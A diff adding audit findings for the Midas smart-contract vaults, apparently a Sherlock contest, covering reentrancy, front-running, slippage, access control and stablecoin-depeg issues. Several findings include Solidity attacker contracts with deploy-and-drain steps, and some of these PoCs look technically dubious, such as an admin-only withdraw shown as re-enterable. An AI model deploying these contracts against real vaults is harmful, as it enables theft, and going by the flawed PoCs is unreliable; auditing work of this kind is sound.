+Fund the Malicious Contract: Send some tokens to the ReentrancyAttack contract to start the attack.
+Execute the Attack: Call the attack function on the ReentrancyAttack contract. This will initiate the reentrancy and drain tokens from the DepositVault.
+
+
+
+### Mitigation
+
+To prevent this attack, implement the nonReentrant modifier from OpenZeppelin's ReentrancyGuard, ensuring that functions cannot be re-entered during execution:
\ No newline at end of file
diff --git a/008/006.md b/008/006.md
new file mode 100644
index 0000000..0cd8b03
--- /dev/null
+++ b/008/006.md
@@ -0,0 +1,39 @@
+Sweet Hickory Pangolin
+
+High
+
+# Reentrancy Vulnerability at redeemInstant, redeemRequest, redeemFiatReques and _approveRequest function for RedemptionVault contract
+
+### Summary
+
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L313
+
+The contract transfers tokens and burns mTokens before fully completing state changes in the _approveRequest function. This can potentially allow a reentrancy attack where a malicious actor re-enters the contract and manipulates the state or drains funds.
+
+### Root Cause
+
+Reentrancy
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+reentrancy attack where a malicious actor re-enters the contract and manipulates the state or drains funds.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+ Implement the nonReentrant modifier from OpenZeppelin’s ReentrancyGuard on the relevant functions, especially in critical functions like redeemInstant, redeemRequest, redeemFiatRequest, and _approveRequest.
\ No newline at end of file
diff --git a/008/010.md b/008/010.md
new file mode 100644
index 0000000..11a5a9f
--- /dev/null
+++ b/008/010.md
@@ -0,0 +1,121 @@
+Sweet Hickory Pangolin
+
+High
+
+# Reentrancy Attacks at withdrawToken functions for ManageableVault contract
+
+### Summary
+
+Link: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L189
+
+The contract is managing tokens and performing transfers. There are no reentrancy guards (e.g., using the nonReentrant modifier) on functions that interact with external contracts or transfer tokens, such as withdrawToken. This could allow a reentrancy attack where an attacker calls back into the contract before the initial function execution completes, potentially draining funds or causing other unexpected behavior.
+
+### Root Cause
+
+Reentrancy guard missing
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Reentrancy attack draining funds or causing other unexpected behavior.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
+
+contract ManageableVault {
+ using SafeERC20 for IERC20;
+
+ // Address of the admin with special privileges
+ address public admin;
+
+ constructor() {
+ admin = msg.sender;
+ }
+
+ modifier onlyVaultAdmin() {
+ require(msg.sender == admin, "Not authorized");
+ _;
+ }
+
+ function withdrawToken(
+ address token,
+ uint256 amount,
+ address withdrawTo
+ ) external onlyVaultAdmin {
+ // Vulnerable to reentrancy
+ IERC20(token).safeTransfer(withdrawTo, amount);
+ }
+}
+
+```
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "./ManageableVault.sol";
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+contract ReentrancyAttacker {
+ ManageableVault public vault;
+ address public token;
+ uint256 public attackCount;
+
+ constructor(address _vault, address _token) {
+ vault = ManageableVault(_vault);
+ token = _token;
+ }
+
+ function attack() external {
+ // Start the attack by withdrawing tokens
+ vault.withdrawToken(token, 1 ether, address(this));
+ }
+
+ // Fallback function that will be triggered on receiving tokens
+ receive() external payable {
+ if (attackCount < 10) {
+ attackCount++;
+ // Re-enter the vault to withdraw tokens again
+ vault.withdrawToken(token, 1 ether, address(this));
+ }
+ }
+
+ // Function to withdraw stolen tokens
+ function withdrawStolenTokens() external {
+ IERC20(token).transfer(msg.sender, IERC20(token).balanceOf(address(this)));
+ }
+}
+
+```
+Vulnerable Contract:
+
+The withdrawToken function is vulnerable because it directly transfers tokens to an external address before updating any state or locking the execution.
+Attacker Contract:
+
+The attack() function initiates the withdrawal of tokens from the vault.
+The receive() function is automatically called upon receiving tokens, allowing the contract to re-enter the withdrawToken function and continue draining funds.
+Deploy and Execute the PoC:
+Deploy the ManageableVault contract.
+Deploy the ReentrancyAttacker contract, passing the address of the deployed ManageableVault contract and the token address.
+Fund the ManageableVault contract with some tokens.
+Call the attack() function from the attacker contract to start the attack.
+
+### Mitigation
+
+To prevent this reentrancy attack, the withdrawToken function should be updated to use the "checks-effects-interactions" pattern, where state changes are made before external calls, or by using reentrancy guards.
\ No newline at end of file
diff --git a/008/011.md b/008/011.md
new file mode 100644
index 0000000..82a9eaf
--- /dev/null
+++ b/008/011.md
@@ -0,0 +1,103 @@
+Sweet Hickory Pangolin
+
+High
+
+# Front-Running Attacks at redeemInstant for MBasisRedemptionVaultWithSwapper contract
+
+### Summary
+
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L88
+
+The redeemInstant function involves token swapping and redemptions, which could be vulnerable to front-running attacks if attackers observe pending transactions and manipulate prices or tokens accordingly.
+
+### Root Cause
+
+Front running attack
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Token price manipulation.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "./MBasisRedemptionVaultWithSwapper.sol";
+
+contract FrontRunningAttack {
+ MBasisRedemptionVaultWithSwapper public targetContract;
+ IERC20 public token;
+ address public attacker;
+
+ constructor(address _targetContract, address _token) {
+ targetContract = MBasisRedemptionVaultWithSwapper(_targetContract);
+ token = IERC20(_token);
+ attacker = msg.sender;
+ }
+
+ // Function to start the front-running attack
+ function startFrontRunning(uint256 amountMTokenIn, uint256 minReceiveAmount) external {
+ require(msg.sender == attacker, "Not the attacker");
+
+ // Approve the target contract to spend tokens
+ token.approve(address(targetContract), amountMTokenIn);
+
+ // Execute front-running logic
+ frontRun(amountMTokenIn, minReceiveAmount);
+ }
+
+ function frontRun(uint256 amountMTokenIn, uint256 minReceiveAmount) internal {
+ // This function will be executed with higher gas fees to front-run the victim
+
+ // Perform the front-running attack by calling redeemInstant
+ targetContract.redeemInstant(address(token), amountMTokenIn, minReceiveAmount);
+
+ // Optional: additional logic to exploit the changes from victim's transaction
+ }
+
+ // Function to withdraw any tokens received
+ function withdraw() external {
+ require(msg.sender == attacker, "Not the attacker");
+ token.transfer(attacker, token.balanceOf(address(this)));
+ }
+
+ // Fallback function to receive Ether
+ receive() external payable {}
+}
+
+```
+startFrontRunning: This function is used to initiate the front-running attack. It sets the token approval and then calls frontRun to perform the attack. The attacker needs to monitor for the victim's transaction and submit their transaction with higher gas fees to ensure it is mined first.
+
+frontRun: This internal function performs the actual front-running by calling the redeemInstant function on the target contract. The attacker will ideally set a higher gas price to ensure that this transaction is mined before the victim's transaction.
+
+withdraw: This function allows the attacker to withdraw any tokens received from the front-running attack.
+
+Step 3: Deploy and Execute the Attack
+Deploy the FrontRunningAttack Contract: Deploy this contract with the address of the MBasisRedemptionVaultWithSwapper contract and the token address.
+
+Fund the Contract: Transfer tokens to the malicious contract so it can perform the front-running attack.
+
+Monitor for Victim’s Transactions: Use a tool or script to monitor the blockchain for pending transactions that call the redeemInstant function.
+
+Call startFrontRunning: Execute the startFrontRunning function with the same parameters as the victim’s transaction but with a higher gas fee to front-run their transaction.
+
+Withdraw Funds: After the attack, use the withdraw function to transfer any stolen tokens to the attacker’s address.
+
+### Mitigation
+
+Implement techniques like transaction batching, commit-reveal schemes, or price slippage limits to mitigate front-running risks.
\ No newline at end of file
diff --git a/008/012.md b/008/012.md
new file mode 100644
index 0000000..a094dfd
--- /dev/null
+++ b/008/012.md
@@ -0,0 +1,103 @@
+Sweet Hickory Pangolin
+
+High
+
+# Reentrancy Attacks at redeemInstant function for MBasisRedemptionVaultWithSwapper contract
+
+### Summary
+
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/mBasis/MBasisRedemptionVaultWithSwapper.sol#L88
+
+The contract contains functions that transfer tokens to external addresses and then perform additional logic afterward.
+
+### Root Cause
+
+Lack of reentrancy guard
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Attacker can re-enter the contract and manipulate its state.
+
+### PoC
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "./MBasisRedemptionVaultWithSwapper.sol"; // Assuming this is the contract file with the target function
+import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
+
+contract ReentrancyAttack {
+ MBasisRedemptionVaultWithSwapper public targetContract;
+ IERC20 public token;
+ address public attacker;
+
+ constructor(address _targetContract, address _token) {
+ targetContract = MBasisRedemptionVaultWithSwapper(_targetContract);
+ token = IERC20(_token);
+ attacker = msg.sender;
+ }
+
+ function initiateAttack(uint256 amountMTokenIn) external {
+ // Approve the target contract to spend tokens
+ token.approve(address(targetContract), amountMTokenIn);
+
+ // Trigger the reentrancy by calling redeemInstant
+ targetContract.redeemInstant(address(token), amountMTokenIn, 1);
+ }
+
+ function onERC20Received(
+ address, /*operator*/
+ address, /*from*/
+ uint256, /*value*/
+ bytes calldata /*data*/
+ ) external returns (bytes4) {
+ // Re-enter the redeemInstant function
+ uint256 balance = token.balanceOf(address(this));
+ if (balance > 0) {
+ targetContract.redeemInstant(address(token), balance, 1);
+ }
+
+ return this.onERC20Received.selector;
+ }
+
+ // Fallback function to receive Ether
+ receive() external payable {}
+
+ // Withdraw stolen funds
+ function withdraw() external {
+ require(msg.sender == attacker, "Not the attacker");
+ payable(attacker).transfer(address(this).balance);
+ token.transfer(attacker, token.balanceOf(address(this)));
+ }
+}
+```
+Step 2: Explanation
+initiateAttack: This function begins the attack by calling the redeemInstant function on the target contract. It passes the amount of tokens the attacker intends to use.
+
+onERC20Received: This function is triggered when the target contract sends tokens back to the malicious contract. It immediately calls redeemInstant again, exploiting the reentrancy vulnerability. The loop continues until the contract runs out of tokens or gas.
+
+withdraw: This function allows the attacker to withdraw all the stolen funds after the attack is complete.
+
+Step 3: Deploy and Execute the Attack
+Deploy the ReentrancyAttack contract by providing the target contract address (MBasisRedemptionVaultWithSwapper) and the token address.
+Fund the ReentrancyAttack contract with the tokens needed for the attack.
+Call the initiateAttack function from the attacker's address.
+The contract will recursively call redeemInstant, draining the target contract's tokens.
+After the attack, call withdraw to transfer the stolen funds to the attacker's address.
+
+### Mitigation
+
+Use the ReentrancyGuard modifier from OpenZeppelin to prevent reentrancy, or carefully order state changes and external calls to follow the "checks-effects-interactions" pattern.
\ No newline at end of file
diff --git a/009/023.md b/009/023.md
new file mode 100644
index 0000000..1217e64
--- /dev/null
+++ b/009/023.md
@@ -0,0 +1,23 @@
+Fresh Gunmetal Boa
+
+High
+
+# redeemRequest lacks slippage protection
+
+## Summary
+The redeemRequest and depositRequest functions do not have any slippage protection.
+## Vulnerability Detail
+In the redeemRequest function the user does not specify any minimum amount of token out.
+When a user calls redeemRequest they will create a request to redeem their MTokens. However in the redeemRequest function the rate that will be taken will be rate that the `mTokenDataFeed.getDataInBase18()` will return when creating the request.
+Given that the users do not specify any minimum out token amount they will have completely no control over the outToken amount they will receive which will make the redeem process unreliable, vulnerable to sandwich attacks or other MEV manipulations.
+The same is applicable for the depositRequest function
+## Impact
+The redeem and withdraw process will be unsafe for every user - High.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/52b77ba39be51f18a5b0736dfbe7f2acbbeba6e3/midas-contracts/contracts/RedemptionVault.sol#L194
+## Tool used
+
+Manual Review
+
+## Recommendation
+Create some slippage protections so that users have some control over the out token amount
\ No newline at end of file
diff --git a/009/104.md b/009/104.md
new file mode 100644
index 0000000..97b2924
--- /dev/null
+++ b/009/104.md
@@ -0,0 +1,117 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# No slippage parameter for standard deposit request.
+
+
+## Summary
+
+No slippage parameter for standard deposit request. Users may receive less mTokens than they expect.
+
+## Vulnerability Detail
+
+When users are depositing tokens to acquire mTokens, there are two paths: 1) instant deposit, 2) standard deposit.
+
+- During instant deposit, users will receive mTokens immediately, based on the inToken and mToken rate at the time.
+- During standard deposit, users will need to wait for admins to approve the request.
+
+Users may fallback to using a standard deposit if the daily limit is hit for instant deposit.
+
+The issue here is that there is a slippage parameter limiting the amount of mTokens users receive for instant deposit, but not for standard deposit. This is an issue, especially considering the tokenIn rate is calculated during the deposit request transaction, and that there is no slippage parameter to control it. Example:
+
+1. User calls `depositRequest()` to deposit WBTC for mToken.
+2. The deposit transaction takes a while to process, and WBTC price crashes during the time (and recovers later).
+3. The transaction is processed, but the `tokenInRate` is now much lower than when the user initiated the deposit. This will lead to users receiving less mToken in the end.
+
+During the process, there is no mechanism for user to set a slippage parameter nor cancel the request.
+
+Note that the specs did not mention slippage is required for standard deposit. However, this doesn't mean it doesn't pose a vulnerability.
+
+```solidity
+ function depositRequest(
+ address tokenIn,
+ uint256 amountToken,
+ bytes32 referrerId
+ )
+ external
+ whenFnNotPaused(this.depositRequest.selector)
+ onlyGreenlisted(msg.sender)
+ onlyNotBlacklisted(msg.sender)
+ onlyNotSanctioned(msg.sender)
+ returns (uint256 requestId)
+ {
+ address user = msg.sender;
+
+ address tokenInCopy = tokenIn;
+ uint256 amountTokenCopy = amountToken;
+ bytes32 referrerIdCopy = referrerId;
+
+ uint256 currentId = currentRequestId.current();
+ requestId = currentId;
+ currentRequestId.increment();
+
+ (
+ uint256 tokenAmountInUsd,
+ uint256 feeAmount,
+ uint256 amountTokenWithoutFee,
+ ,
+@> uint256 tokenInRate,
+ uint256 tokenOutRate,
+ uint256 tokenDecimals
+ ) = _calcAndValidateDeposit(user, tokenInCopy, amountTokenCopy, false);
+
+ _tokenTransferFromUser(
+ tokenInCopy,
+ tokensReceiver,
+ amountTokenWithoutFee,
+ tokenDecimals
+ );
+
+ if (feeAmount > 0)
+ _tokenTransferFromUser(
+ tokenInCopy,
+ feeReceiver,
+ feeAmount,
+ tokenDecimals
+ );
+
+ mintRequests[currentId] = Request({
+ sender: user,
+ tokenIn: tokenInCopy,
+ status: RequestStatus.Pending,
+ depositedUsdAmount: tokenAmountInUsd,
+@> usdAmountWithoutFees: (amountTokenWithoutFee * tokenInRate) /
+ 10**18,
+ tokenOutRate: tokenOutRate
+ });
+
+ emit DepositRequest(
+ currentId,
+ user,
+ tokenInCopy,
+ tokenAmountInUsd,
+ feeAmount,
+ tokenOutRate,
+ referrerIdCopy
+ );
+ }
+```
+
+## Impact
+
+Users may receive less mTokens than they expect.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L148
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Also add a slippage parameter for standard deposits to limit the minimum amount of mToken received.
+
+When admins approve the deposit request, check the amount of mTokens against the number. If it is impossible to fulfill the request, the admin can just reject the request.
\ No newline at end of file
diff --git a/009/105.md b/009/105.md
new file mode 100644
index 0000000..1189491
--- /dev/null
+++ b/009/105.md
@@ -0,0 +1,133 @@
+Muscular Jade Hedgehog
+
+Medium
+
+# No slippage parameter for standard redemption request.
+
+
+## Summary
+
+No slippage parameter for standard redemption request. Users may receive less `tokenOut` than they expect.
+
+## Vulnerability Detail
+
+When users are redeeming mTokens to acquire `tokenOut`, there are two paths: 1) instant redemption, 2) standard redemption.
+
+- During instant redemption, users will receive `tokenOut` immediately, based on the mToken rate and `tokenOut` rate at the time.
+- During standard redemption, users will need to wait for admins to approve the request.
+
+Users may fallback to using a standard redemption if the daily limit is hit for instant redemption.
+
+The issue here is that there is a slippage parameter limiting the amount of `tokenOut` users receive for instant redemption, but not for standard redemption. This is an issue, especially considering the `tokenOut` rate is calculated during the redemption request transaction, and that there is no slippage parameter to control it. Example:
+
+1. User calls `redeemRequest()` to redeem mToken for WBTC.
+2. The redemption transaction takes a while to process, and WBTC price bursts during the time (and recovers later).
+3. The transaction is processed, but the `tokenOutRate` is now much higher than when the user initiated the redemption. This will lead to users receiving less `tokenOut` in the end.
+
+During the process, there is no mechanism for user to set a slippage parameter nor cancel the request.
+
+Note that the specs did not mention slippage is required for standard redemption. However, this doesn't mean it doesn't pose a vulnerability.
+
+```solidity
+ function _redeemRequest(address tokenOut, uint256 amountMTokenIn)
+ internal
+ returns (uint256)
+ {
+ address user = msg.sender;
+
+ bool isFiat = tokenOut == MANUAL_FULLFILMENT_TOKEN;
+
+ (
+ uint256 feeAmount,
+ uint256 amountMTokenWithoutFee
+ ) = _calcAndValidateRedeem(
+ user,
+ tokenOut,
+ amountMTokenIn,
+ false,
+ isFiat
+ );
+
+ address tokenOutCopy = tokenOut;
+
+ uint256 tokenOutRate;
+ if (!isFiat) {
+ TokenConfig storage config = tokensConfig[tokenOutCopy];
+@> tokenOutRate = _getTokenRate(config.dataFeed, config.stable);
+ }
+
+ uint256 amountMTokenInCopy = amountMTokenIn;
+
+ uint256 mTokenRate = mTokenDataFeed.getDataInBase18();
+
+ _tokenTransferFromUser(
+ address(mToken),
+ address(this),
+ amountMTokenWithoutFee,
+ 18 // mToken always have 18 decimals
+ );
+ if (feeAmount > 0)
+ _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+
+ uint256 requestId = currentRequestId.current();
+ currentRequestId.increment();
+
+ redeemRequests[requestId] = Request({
+ sender: user,
+ tokenOut: tokenOutCopy,
+ status: RequestStatus.Pending,
+ amountMToken: amountMTokenWithoutFee,
+ mTokenRate: mTokenRate,
+@> tokenOutRate: tokenOutRate
+ });
+
+ emit RedeemRequest(requestId, user, tokenOutCopy, amountMTokenInCopy);
+
+ return requestId;
+ }
+
+
+ function _approveRequest(
+ uint256 requestId,
+ uint256 newMTokenRate,
+ bool isSafe
+ ) internal {
+ ...
+
+ if (request.tokenOut != MANUAL_FULLFILMENT_TOKEN) {
+ uint256 tokenDecimals = _tokenDecimals(request.tokenOut);
+
+ uint256 amountTokenOutWithoutFee = _truncate(
+@> (request.amountMToken * newMTokenRate) / request.tokenOutRate,
+ tokenDecimals
+ );
+
+ _tokenTransferFromTo(
+ request.tokenOut,
+ requestRedeemer,
+ request.sender,
+ amountTokenOutWithoutFee,
+ tokenDecimals
+ );
+ }
+ ...
+ }
+```
+
+## Impact
+
+Users may receive less `tokenOut` than they expect.
+
+## Code Snippet
+
+- https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L372
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Also add a slippage parameter for standard redemption to limit the minimum amount of `tokenOut` received.
+
+When admins approve the redemption request, check the amount of `tokenOut` against the number. If it is impossible to fulfill the request, the admin can just reject the request.
\ No newline at end of file
diff --git a/010/007.md b/010/007.md
new file mode 100644
index 0000000..713cfdf
--- /dev/null
+++ b/010/007.md
@@ -0,0 +1,39 @@
+Sweet Hickory Pangolin
+
+High
+
+# Unchecked Access Control at setRoundDataSafe for CustomAggregatorV3CompatibleFeed contract
+
+### Summary
+
+Line: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L108
+
+The setRoundDataSafe function does not enforce access control using the onlyAggregatorAdmin modifier, which is applied to setRoundData. This means any caller can invoke setRoundDataSafe, which in turn calls setRoundData. If the function is supposed to be restricted, this omission allows unauthorized users to submit data, potentially manipulating the feed's prices.
+
+### Root Cause
+
+Unchecked access control
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+This omission allows unauthorized users to submit data, potentially manipulating the feed's prices.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Use onlyAggregatorAdmin restriction
\ No newline at end of file
diff --git a/010/009.md b/010/009.md
new file mode 100644
index 0000000..73cf85d
--- /dev/null
+++ b/010/009.md
@@ -0,0 +1,39 @@
+Sweet Hickory Pangolin
+
+High
+
+# Front-Running Risks at setRoundDataSafe for CustomAggregatorV3CompatibleFeed contract
+
+### Summary
+
+Link: https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/feeds/CustomAggregatorV3CompatibleFeed.sol#L108
+
+The contract is vulnerable to front-running attacks, particularly in the context of the setRoundDataSafe function. Since this function is public, a malicious actor could observe an incoming transaction in the mempool, calculate the deviation, and front-run the transaction with their own price update that results in the victim's transaction being reverted due to a deviation check failure.
+
+### Root Cause
+
+Lack of access control
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+_No response_
+
+### Impact
+
+Front running attack results in the victim's transaction being reverted due to a deviation check failure.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Add access control in setRoundDataSafe function.
\ No newline at end of file
diff --git a/011/013.md b/011/013.md
new file mode 100644
index 0000000..3f95cac
--- /dev/null
+++ b/011/013.md
@@ -0,0 +1,50 @@
+Attractive Fern Tapir
+
+High
+
+# Deposit request when cancelled by vault admin should refund the funds collected.
+
+### Summary
+
+In the DepositVault.sol, when the `depositRequest(...)` is submitted, the vault collects the funds and also the fee from the caller. The vault admin has the ability to cancel the request while it is pending. If the vault admin cancels a pending deposit request, then the logic should refund the funds and also the fee collect from the caller at the time to request.
+
+The current implementation simply marks the request status as cancelled, but does not return the funds back to the caller.
+
+
+
+### Root Cause
+
+At the time of deposit request, the logic is collecting the funds and the fee from the caller and transferring to the fee Receiver account. This funds and fee collection makes sense as long as the request is honoured.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L187-L193
+
+As `onlyVaultAdmin` with entitlement to cancel the request, when the request is cancelled, the funds along with the fee collected should be returned back to the caller. The current logic is marking the status of the request as `RequestStatus.Canceled`, but it is not reversing the funds flow to the caller.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/DepositVault.sol#L243-L255
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. User calls `DepositVault::depositRequest(...)` and deposits the tokens into the vault along with the fee applicable. The function returns request id as `1234`.
+2. `onlyVaultAdmin` cancels the request id `1234`, in which case the deposited tokens and the fee collected should be returned back to the caller.
+
+### Impact
+
+As of current state, the funds deposited by the caller will remain locked in the protocol if the vault admin cancels the request.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+On cancellation of the deposit request, the `DepositVault` should reverse the fund flow and return the deposited funds along with the fee collected back to the caller.
+
+For this reason, it is best to track the fee collected in the request object itself. So that even when the configuration is changed, the accurate collected amount can be returned back to the caller.
\ No newline at end of file
diff --git a/011/014.md b/011/014.md
new file mode 100644
index 0000000..b35d36b
--- /dev/null
+++ b/011/014.md
@@ -0,0 +1,61 @@
+Attractive Fern Tapir
+
+High
+
+# Redeem Request when cancelled by vault admin should return the funds back to the caller.
+
+### Summary
+
+In the RedemptionVault.sol, when the redeemRequest(...) is submitted, the vault collects the funds(mToken) and also the fee(mToken) from the caller. The vault admin has the ability to cancel the request while it is pending state. If the vault admin cancels a pending redeem request, then the logic should refund the funds(mToken) and also the fee collect(mTokens) from the caller at the time to request.
+
+The current implementation simply marks the request status as cancelled, but does not return the funds back to the caller.
+
+Instead, the funds are currently stuck in the contract when the vault admin cancels the request.
+
+### Root Cause
+
+At the time of redeem request, the logic is collecting the funds and the fee from the caller and transferring to the fee Receiver account. This funds and fee collection makes sense as long as the request is honoured.
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194-L204
+
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/RedemptionVault.sol#L194-L204
+
+Note how, in the below code snippet, the funds(mToken) are moved from the caller account.
+
+```solidity
+ _tokenTransferFromUser(
+ address(mToken),
+ address(this),
+ amountMTokenWithoutFee,
+ 18 // mToken always have 18 decimals
+ );
+ if (feeAmount > 0)
+ _tokenTransferFromUser(address(mToken), feeReceiver, feeAmount, 18);
+```
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1.User calls RedemptionVault::redeemRequest(...) and deposits the tokens into the vault along with the fee applicable. The function returns request id as 1234.
+2.onlyVaultAdmin cancels the request id 1234, in which case the redeem tokens and the fee collected should be returned back to the caller.
+
+### Impact
+
+_No response_
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+On cancellation of the redeem request, the RedemptionVault should reverse the fund flow and return the funds along with the fee collected back to the caller.
+
+For this reason, it is best to track the fee collected in the request object itself. So that even when the configuration is changed, the accurate collected amount can be returned back to the caller.
\ No newline at end of file
diff --git a/012/044.md b/012/044.md
new file mode 100644
index 0000000..2bc4e96
--- /dev/null
+++ b/012/044.md
@@ -0,0 +1,48 @@
+Hollow Hickory Troll
+
+Medium
+
+# The price of the stable token is overestimated, allowing users to profit from it
+
+## Summary
+The protocol sets the price of stablecoins to `1e18`, but in reality, the price of stablecoins fluctuates. This could lead to an overestimation of the token's value. Users could deposit stablecoins to get mTokens and then redeem them for other tokens, potentially profiting from this discrepancy.
+
+## Vulnerability Detail
+In the `_getTokenRate()` function, if the token is a stablecoin, the rate is set to `1e18`.
+```solidity
+ function _getTokenRate(address dataFeed, bool stable)
+ internal
+ view
+ returns (uint256)
+ {
+ // @dev if dataFeed returns rate, all peg checks passed
+ uint256 rate = IDataFeed(dataFeed).getDataInBase18();
+
+ if (stable) return STABLECOIN_RATE;
+
+ return rate;
+ }
+
+```
+
+This rate is then used to calculate the value of the stablecoin.
+```solidity
+ rate = _getTokenRate(tokenConfig.dataFeed, tokenConfig.stable);
+ require(rate > 0, "DV: rate zero");
+
+ amountInUsd = (amount * rate) / (10**18);
+```
+
+
+ The protocol supports USDT, a stablecoin whose price fluctuates and is not always exactly `1e18`. (https://etherscan.io/address/0x3E7d1eAB13ad0104d2750B8863b489D65364e32D#readContract). If the price of USDT is less than `1e18`, the value of the token is overestimated. As a result, if a user deposits USDT (which is overestimated), they could redeem it later for another token, potentially exploiting this discrepancy for profit.
+
+## Impact
+The price of the stablecoin may be overestimated, allowing users to potentially profit from this.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L611
+## Tool used
+
+Manual Review
+
+## Recommendation
+Get the real-time price from Chainlink.
\ No newline at end of file
diff --git a/012/069.md b/012/069.md
new file mode 100644
index 0000000..a3c0e40
--- /dev/null
+++ b/012/069.md
@@ -0,0 +1,50 @@
+Funny Hazel Moose
+
+High
+
+# Stablecoin Depeg Not Accounted For
+
+## Summary
+In the event of a stablecoin falling below its peg, excessive minting of mTokens can occur. An attacker can easily monitor these conditions and extract significant value from the protocol.
+
+## Vulnerability Detail
+A hardcoded rate of 1e18 is used in [`getTokenRate`](https://github.com/sherlock-audit/2024-08-midas-minter-redeemer/blob/main/midas-contracts/contracts/abstract/ManageableVault.sol#L603-L615) for conversions between usd and stablecoin quantity.
+
+```solidity
+ function _getTokenRate(address dataFeed, bool stable)
+ internal
+ view
+ returns (uint256)
+ {
+ // @dev if dataFeed returns rate, all peg checks passed
+ uint256 rate = IDataFeed(dataFeed).getDataInBase18();
+
+ if (stable) return STABLECOIN_RATE;
+
+ return rate;
+ }
+```
+
+`uint256 public constant STABLECOIN_RATE = 10**18;`
+
+There are no further checks throughout the codebase that the true stablecoin price falls within some price interval. A hardcoded value of 1e18 will always be returned, a critical assumption which is not guaranteed.
+
+## Impact
+If the true stablecoin price deviates several percentage points below $1 (in March 2023, USDC hit $0.87), the `depositInstant` function can be called to permissionlessly mint a more valuable amount of mTokens.
+
+For example: USDC = $0.90 and a user deposits 100,000 USDC to receive $100,000 worth of mTBill (less fees). But the value of the USDC he deposited was only $90,000.
+
+This also applies to redeeming when stablecoin prices are above peg, albeit this is more rare.
+
+As a result of both attack vectors, every single vault in the system can be drained of a material amount of value that is not returned even in the event that the peg is later reclaimed.
+
+## Code Snippet
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+Consider incorporating the price check [mentioned in the protocol specifications](https://ludicrous-rate-748.notion.site/Users-can-instantly-mint-4ee1189194434b2daa7466ae666035d0). This can be done by first checking a chainlink price feed to see if price is within the bounds (0.997, 1.003), and if so the hardcoded value is returned.
+
+Alternatively, consider eliminating the special treatment of stablecoins, and rather than a hardcoded value use the price feed information as with any other asset in the system.
\ No newline at end of file
diff --git a/013/071.md b/013/071.md
new file mode 100644
index 0000000..70259a5
--- /dev/null
+++ b/013/071.md
@@ -0,0 +1,25 @@
+Helpful Wooden Porpoise
+
+Medium
+
+# `ManageableVault` does not provide any function to allow `tokensReceiver` to be updated
+
+## Summary
+`ManageableVault` does not provide any function to allow `tokensReceiver` to be updated.
+## Vulnerability Detail
+`tokensReceiver` in `ManageableVault` is used to receive deposited paymentToken for mToken minting.
+The Midas specification stated that the [admin can adjust `Global Parameters`](https://ludicrous-rate-748.notion.site/Admin-can-adjust-Global-Parameters-42afde9e098b42ef8296e43286b73299), which should include the ability to update `tokensReceiver`:
+>**Investment recipient address**
+>This is the address that receives the funds sent by investors when requesting a subscription (either instant or standard)
+
